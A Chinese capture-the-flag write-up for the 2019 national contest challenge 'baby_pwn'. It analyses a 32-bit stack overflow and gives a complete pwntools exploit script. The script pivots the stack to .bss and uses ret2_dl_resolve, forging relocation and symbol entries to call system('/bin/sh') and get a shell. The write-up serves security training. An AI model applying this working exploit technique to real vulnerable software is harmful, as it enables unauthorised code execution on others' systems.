2019国赛2.baby_pwn 利用ret2_dl_resolve

解题思路
1. 查看文件信息,安全机制
2. 代码审计
3. 分析漏洞点
4. 编写EXP
1.查看文件的属性 分析:
1.查看文件的属性 checksec 可行性文件名
2019国赛2.baby_pwn 利用ret2_dl_resolve
文章图片

2.阅读伪源码查看溢出大小

{ char buf; // [sp+0h] [bp-28h]@1return read(0, &buf, 0x100u); } 注:这里可以结合gdb-peda的 pattern命令 查看溢出大小

2019国赛2.baby_pwn 利用ret2_dl_resolve
文章图片

代码审计 通过IDA的观察
2019国赛2.baby_pwn 利用ret2_dl_resolve
文章图片

只有一个read(我们没有libc文件),strings里面没有可以利用的敏感字符串
漏洞分析 因为伪代码过于单一 ,首先想到的就是ret2_dl_resolve
ret2_dl的最重要的两个关键点就是offset的确定,在这里一定要重视下面的这张图
2019国赛2.baby_pwn 利用ret2_dl_resolve
文章图片

平常我们都是利用函数结尾reaveret的结合,这就造成了,我们上面找出来的EIP不是我们可以利用的,这里需要找文章去查看,函数结尾的不同是怎么影响寄存器里面值的变化
在这里我一直陷入了一个误区就是,我利用了pwn350的末尾堆栈不平衡的想法一直在构造寄存器里面的数值,其实这个题可以直接覆盖到EXP的地方
这里有一个很好的判断,直接利用pattern search只要没有到EIP的值,我就需要考虑,保持函数末尾的堆栈平衡
编写EXP 这里我们可以直接将脚本拿过来使用,但是一定要在懂得原理的情况下使用,不然可能只需要改一个值,你都不知道从何处下手
根据我的2019_iscc_pwn350的脚本修改了一下
#!/usr/bin/env python #coding:utf-8 from pwn import * context.log_level = 'debug' context.terminal = ['gnome-terminal','-x','bash','-c'] context(os='linux',arch='i386')p = process('./pwn') P = ELF('./pwn') rop = ROP('./pwn')leave = 0x0804854A#这个地方我们可以单纯的利用地址所以直接找leave就可以了 bss = 0x0804aa00#这个地方我们,我们需要将地址取到超出地址边缘 ,要是数据写在bss段,我们需要将这个值改为bss段的地址 pppr_addr = 0x080485d9 pop_ebp = 0x080485dbpayload = (0x28+4) * 'a' payload+= p32(P.plt['read']) payload+= p32(pppr_addr) payload+= p32(0) payload+= p32(bss) payload+= p32(0x400) payload+= p32(pop_ebp) payload+= p32(bss) payload+= p32(leave) p.send(payload)sleep(1)elf = ELF('./pwn') rop = ROP('./pwn') plt_0 = elf.get_section_by_name('.plt').header.sh_addr rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr dynsym = elf.get_section_by_name('.dynsym').header.sh_addr dynstr = elf.get_section_by_name('.dynstr').header.sh_addrfake_sys_addr = bss + 36 align = 0x10 - ((fake_sys_addr-dynsym)&0xf) fake_sys_addr = fake_sys_addr + align index = (fake_sys_addr - dynsym)/0x10 r_info = (index << 8) + 0x7 st_name = (fake_sys_addr + 0x10) - dynstr fake_sys = p32(st_name) + p32(0) + p32(0) + p32(0x12) fake_rel = p32(P.got['read']) + p32(r_info) fake_rel_addr = bss + 28 fake_index = fake_rel_addr - rel_plt sh = '/bin/sh'rop.raw(bss)#这里我们到达了可以写入的一段空间 rop.raw(plt_0) rop.raw(fake_index) rop.raw('bbbb') rop.raw(bss+82)# rop.raw('bbbb') rop.raw('bbbb')rop.raw(fake_rel) rop.raw(align * 'a') rop.raw(fake_sys) rop.raw('system\x00') rop.raw('a'*(80 - len(rop.chain()))) print len(rop.chain())#这一步一定要加上,不然你会不知道 上面#处的82是哪里来的 rop.raw(sh+'\x00') rop.raw('a'*(100 - len(rop.chain()))) p.sendline(rop.chain()) p.interactive()

分析EXP 首先需要进行栈迁移,由于我们的栈空间太小,不足以让我们操作,我们先利用got表复写术,来将返回地址,进行栈迁移,然后修改。
【2019国赛2.baby_pwn 利用ret2_dl_resolve】-参考文献:
  • 简书:https://www.jianshu.com/p/8671b34f5620
  • 优秀文章:自恋一下:https://blog.csdn.net/qq_42037374/article/details/90510890
  • ret2_dl_resolve

    推荐阅读